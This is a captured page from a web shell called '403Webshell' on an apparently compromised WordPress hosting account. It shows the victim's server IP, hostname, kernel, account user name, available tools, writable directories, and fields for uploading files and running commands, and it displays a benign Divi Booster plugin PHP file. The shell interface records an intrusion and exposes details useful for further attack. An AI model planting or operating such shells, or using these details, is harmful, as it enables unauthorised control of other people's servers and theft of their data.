403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www/wp-content/plugins/divi-booster/core/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www/wp-content/plugins/divi-booster/core/classes/DBDBDynamicAsset.php
<?php
if (!class_exists('DBDBDynamicAsset')) {

    class DBDBDynamicAsset {

        private $type;
        private $handle;
        private $filename;
        private $divi;

        static function socialMediaFollowCss() {
            return self::css('dbdb-social-media-follow', 'social_media_follow.css');
        }

        static function css($handle, $filename) {
            return new self('css', $handle, $filename);
        }

        static function js($handle, $filename) {
            return new self('js', $handle, $filename);
        }

        private function __construct($type, $handle, $filename) {
            $this->type = $type;
            $this->handle = $handle;
            $this->filename = $filename;
            $this->divi = DBDBDivi::create();
        }

        public function init() {
            add_action('wp_enqueue_scripts', array($this, 'register'), 11); // Enqueue later than 10 to avoid triggering child theme enqueued stylesheet detection in et_divi_enqueue_stylesheet()
        }

        public function register() {
            if ($this->divi->supports_dynamic_assets()) { 
                if ($this->type === 'css') {
                    wp_register_style($this->handle, $this->divi->dynamic_assets_url('/css/'.$this->filename), array(), $this->divi->version() );
                }
                elseif ($this->type === 'js') {
                    wp_register_script($this->handle, $this->divi->dynamic_assets_url('/js/'.$this->filename), array( 'jquery' ), $this->divi->version(), true );
                }
            }
        }

        public function load() {
            if ($this->type === 'css') {
                wp_enqueue_style($this->handle);
            }
            elseif ($this->type === 'js') {
                wp_enqueue_script($this->handle);
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit